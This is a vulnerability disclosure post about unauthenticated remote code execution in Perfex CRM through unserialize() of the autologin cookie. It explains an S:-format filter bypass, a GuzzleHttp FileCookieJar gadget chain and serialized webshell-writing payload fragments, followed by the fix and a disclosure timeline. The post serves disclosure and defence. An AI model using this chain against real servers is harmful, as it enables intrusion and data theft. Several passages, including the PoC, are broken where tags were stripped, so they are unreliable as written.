Perfex CRM <=3.4.0 allows unauthenticated RCE via insecure deserialization Perfex CRM passed the autologin cookie into unserialize() without validation, giving unauthenticated attackers remote code execution. Date: 2026-03-16 Last Modified: 2026-03-16 Tags: vulnerability, perfex-crm, deserialization, rce, php URL: https://nullcathedral.com/posts/2026-03-16-perfex-crm-unauthenticated-rce-insecure-deserialization/ ------------------------------------------------------------------------ TL;DR: Perfex CRM fed the autologin cookie straight into unserialize(). CodeIgniter's XSS filter stripped the null bytes that private PHP properties need, but PHP's S: format got around that. Unauthenticated cookie to shell via GuzzleHttp's FileCookieJar. Vulnerability information Field | Value Vendor | MSTdev Product | Perfex CRM Affected versions | <= 3.4.0 CVE | Requested CVSS 4.0 | 10.0 / Critical CWE | CWE-502: Deserialization of Untrusted Data Disclosure date | 2026-03-16 Background Last December I was bored and remembered that CodeCanyon still existed. The S in CodeCanyon obviously stands for "super verified secure scripts", so I started browsing for interesting apps to poke at. I sorted by sales[1] and landed on Perfex CRM as my first pick. Perfex CRM is a PHP CRM. It's built on CodeIgniter and handles clients, invoices, projects, support tickets, etc. The vulnerable call On the demo instance, the autologin cookie looked like serialized PHP data. So I grabbed a copy of the source and sure enough, Authentication_model.php passes it straight into a bare unserialize(). Textbook object injection. The base controller loads the authentication model on every request: core/App_Controller.php $this->load->model('authentication_model'); $this->authentication_model->autologin(); The model's constructor calls it again: models/Authentication_model.php public function __construct() { parent::__construct(); $this->load->model('user_autologin'); $this->autologin(); } The autologin() method: models/Authentication_model.php public function autologin() { if (!is_logged_in()) { $this->load->helper('cookie'); if ($cookie = get_cookie('autologin', true)) { $data = unserialize($cookie); if (isset($data['key']) and isset($data['user_id'])) { The cookie hits unserialize() on every request, every route, with no validation. The XSS filter problem My first payload didn't work. Perfex calls get_cookie('autologin', true), and that second parameter turns on CodeIgniter's XSS filtering: system/helpers/cookie_helper.php function get_cookie($index, $xss_clean = NULL) { is_bool($xss_clean) OR $xss_clean = (config_item('global_xss_filtering') === TRUE); $prefix = isset($_COOKIE[$index]) ? '' : config_item('cookie_prefix'); return get_instance()->input->cookie($prefix.$index, $xss_clean); } CodeIgniter's input processing calls remove_invisible_characters(), which strips null bytes: system/core/Common.php $non_displayables[] = '/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S'; Private properties in PHP serialization use \x00ClassName\x00property as the key. The null bytes are structural. Strip them and the payload breaks: s:17:"\x00ClassName\x00prop" -> after filter -> s:17:"ClassNameprop" ^^^^ ^^^^ (broken, length mismatch) That could have been the end of it. But the filter strips bytes from the cookie value, and unserialize() is the thing that interprets those bytes. If the unserializer had another way to represent them, one that doesn't use literal null bytes in the wire format, the filter would have nothing to strip. The S: format bypass I cloned php-src[2] and started reading var_unserializer.re, the lexer that drives unserialize(). The lowercase s: tag reads string bytes verbatim. A few lines down, an uppercase S: variant resolves \xx hex escapes during deserialization, so non-ASCII bytes like null bytes can be written as printable ASCII in the serialized payload. ext/standard/var_unserializer.re if (**p != '\\') { ZSTR_VAL(str)[i] = (char)**p; } else { unsigned char ch = 0; for (j = 0; j < 2; j++) { (*p)++; if (**p >= '0' && **p <= '9') { ch = (ch << 4) + (**p -'0'); } else if (**p >= 'a' && **p <= 'f') { ch = (ch << 4) + (**p -'a'+10); } else if (**p >= 'A' && **p <= 'F') { ch = (ch << 4) + (**p -'A'+10); } else { zend_string_efree(str); return NULL; } } ZSTR_VAL(str)[i] = (char)ch; } S:3:"\00A\00" is entirely printable ASCII. It passes through the XSS filter untouched, and unserialize() resolves the hex escapes back into null bytes. The S: tag exists because of PHP 6. During its development, the serialization format for binary strings was changed to escape non-ASCII characters, probably to stay compatible with PHP 6's Unicode strings where not all byte sequences are valid. The uppercase S: tag was added to PHP 5 in 2006 so that serialized data could be exchanged between PHP 5 and PHP 6. PHP 6 was never released. No released version of PHP has ever emitted the S: tag, and no tests covered it. It was only deprecated in PHP 8.4 (the RFC passed 36-0), so it sat in the unserializer for 18 years.[3] More obstacles With the null byte problem solved, building the full payload hit three more issues. Private properties include the full namespace, so the FileCookieJar cookies property serializes as \x00GuzzleHttp\Cookie\CookieJar\x00cookies. In S: format, \Co fails because the parser treats every backslash as the start of a hex escape and requires two valid hex digits after it. C is valid hex but o is not. Using \5c for literal backslashes gets around this. S:36:"\00GuzzleHttp\5cCookie\5cCookieJar\00cookies" Next, CodeIgniter's xss_clean() replaces PHP open/close tags: system/core/Security.php $str = str_replace(array(''), array('<?', '?>'), $str); The shell payload contains . All resolved after filtering. S:15:"\3c\3f=\60$_GET[0]\60\3f\3e" Finally, after deserialization the app does isset($data['key']). If $data is a FileCookieJar object instead of an array, PHP 8 throws a TypeError and returns HTTP 500. Wrapping the gadget in an array with valid key and user_id fields avoids this. The nested FileCookieJar.__destruct() still fires on garbage collection, and the response comes back as a 307 redirect instead of a 500. The gadget chain Perfex CRM bundles GuzzleHttp, which includes FileCookieJar: class FileCookieJar extends CookieJar { private $filename; private $storeSessionCookies; public function __destruct() { $this->save($this->filename); } public function save(string $filename): void { $json = []; foreach ($this as $cookie) { if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) { $json[] = $cookie->toArray(); } } if (false === \file_put_contents($filename, Utils::jsonEncode($json), \LOCK_EX)) { throw new \RuntimeException("Unable to save file {$filename}"); } } } When the object destructs, it calls file_put_contents() with a path and content we control. The shouldPersist() check requires either Expires to be set or storeSessionCookies to be true, and Discard to be false. The PoC sets all three to pass the gate. The "Name" field of a SetCookie object gets included verbatim in the JSON output. Set it to a PHP short tag and the server executes it when the file is requested. The written file looks like: [{"Name":"","Value":"x","Domain":"localhost",...}] PHP ignores the JSON around it. It only cares about the s:5:"Value";s:1:"x"; s:6:"Domain";s:9:"localhost"; s:4:"Path";s:1:"/"; s:7:"Max-Age";N; s:7:"Expires";i:9999999999; s:6:"Secure";b:0; s:7:"Discard";b:0; s:8:"HttpOnly";b:0; } }} S:39:"\00GuzzleHttp\5cCookie\5cCookieJar\00strictMode";b:0; S:41:"\00GuzzleHttp\5cCookie\5cFileCookieJar\00filename"; s:31:"filename.php"; S:52:"\00GuzzleHttp\5cCookie\5cFileCookieJar\00storeSessionCookies"; b:1; } } Impact Unauthenticated RCE as the web server user. There is evidence suggesting active exploitation in the wild. See disclosure process notes. Remediation v3.4.1 replaces serialize()/unserialize() with json_encode()/json_decode(). JSON cannot instantiate PHP objects, so the deserialization vector is eliminated here. The patched autologin(): public function autologin() { if (! is_logged_in()) { $this->load->helper('cookie'); if ($cookie = get_cookie('autologin', true)) { $data = json_decode($cookie, true); if (! is_array($data)) { delete_cookie('autologin', 'aal'); return false; } if (isset($data['key']) and isset($data['user_id'])) { if (! is_numeric($data['user_id']) || ! is_string($data['key'])) { delete_cookie('autologin', 'aal'); return false; } if (! is_null($user = $this->user_autologin->get( $data['user_id'], hash('sha256', $data['key']) ))) { // ...login proceeds The patched create_autologin(): private function create_autologin($user_id, $staff) { $this->load->helper('cookie'); $key = bin2hex(random_bytes(32)); $this->user_autologin->delete($user_id, $key, $staff); if ($this->user_autologin->set($user_id, hash('sha256', $key), $staff)) { set_cookie([ 'name' => 'autologin', 'value' => json_encode([ 'user_id' => $user_id, 'key' => $key, ]), 'expire' => 60 * 60 * 24 * 31 * 2, ]); return true; } return false; } The fix also adds type validation (is_array(), is_numeric(), is_string()) on the decoded cookie data before use, and the autologin token is now bin2hex(random_bytes(32)) stored as hash('sha256', $key). tl;dr Update to 3.4.1. Disclosure process notes I reported this on 2026-01-05, shared technical details on 2026-01-08. After that it was hard to get responses, even after I escalated to Envato.[4] Disclosure-to-patch was 67 days, within our 120-day window. 44 of those days were silence. While this was ongoing, a Perfex CRM user publicly reported finding two backdoors on their server: a webshell decrypting and executing attacker requests via eval(), and a script using cookie-delivered PHP to write files to arbitrary paths. The second one matches this gadget chain. I shared this with both the vendor and Envato. I considered publishing earlier. Perfex CRM stores client records, invoices, contracts, and personal data. Its users are small businesses that bought a PHP script on CodeCanyon. They don't have WAFs or incident response plans. A manual fix exists but requires PHP knowledge most of them probably don't have, and publishing a mitigation would point attackers straight to the vulnerable code. I judged it would cause more harm than it prevented. If you're a Perfex CRM user, assume compromise. Start from a clean install and rotate all secrets and passwords in Perfex. Feedback on how this was handled is welcome: get in touch. Timeline Vendor timeline Date | Event 2026-01-05 | Reported to vendor and asked for a security contact. 2026-01-08 | Shared technical details with vendor. 2026-01-14 | Requested update and remediation timeline. 2026-01-28 | Requested update and remediation timeline, explained I will escalate the findings to Envato on 2026-02-02. 2026-02-07 | Shared active exploitation concern with vendor (CodeCanyon comment). 2026-02-08 | Forwarded disclosure email to another address affiliated with the project. 2026-02-13 | Requested update and remediation timeline. 2026-02-13 | Forwarded disclosure email to another address affiliated with the project. 2026-02-17 | Posted a public comment on CodeCanyon requesting a response. Another developer replied claiming the security concerns had already been addressed. They had not. 2026-02-18 | Vendor replied and shared first patch. 2026-02-18 | Sent patch feedback to vendor. 2026-02-18 | Vendor shared second patch. 2026-02-18 | Confirmed second patch looked ok. 2026-03-07 | Requested update and remediation timeline. 2026-03-09 | Vendor responded that release work was in progress. 2026-03-09 | Followed up and re-raised exploitation concern. 2026-03-13 | Patch released (v3.4.1 security maintenance release). 2026-03-16 | This post. Envato timeline Date | Event 2026-02-02 | Reached out to Envato. 2026-02-03 | Envato responded and requested PoC. 2026-02-03 | Shared PoC with Envato. 2026-02-04 | Shared exploitation concern with Envato (CodeCanyon comment). 2026-02-13 | Requested update and remediation timeline. 2026-02-18 | Envato acknowledged a report backlog and delay in handling.[5] 2026-02-18 | Envato said the author had been chased. 2026-03-12 | Requested Envato contact the vendor again. [1] 35,000+ sales on CodeCanyon at the time of writing. [2] Googling would have been faster, but reading the lexer was more fun! [3] The S: format was unknown to me at the time of discovery. I've since found that phpggc has supported it since November 2018 via its -a flag, and that most documentation of the technique is in Chinese security blogs (e.g. WGPSEC, Lazzaro, lanyi). [4] Around the same time, another user on CodeCanyon reported a security concern and was told to renew their support license before the vendor would engage. [5] "We've had a 7000% (yes seven thousand) increase in vulnerability reports over the last 2 years and while we're improving the way we deal with them, we sometimes get a little behind - I know that's not great in cases like this where speed is of the essence." ------------------------------------------------------------------------ Source: NULL CATHEDRAL https://nullcathedral.com/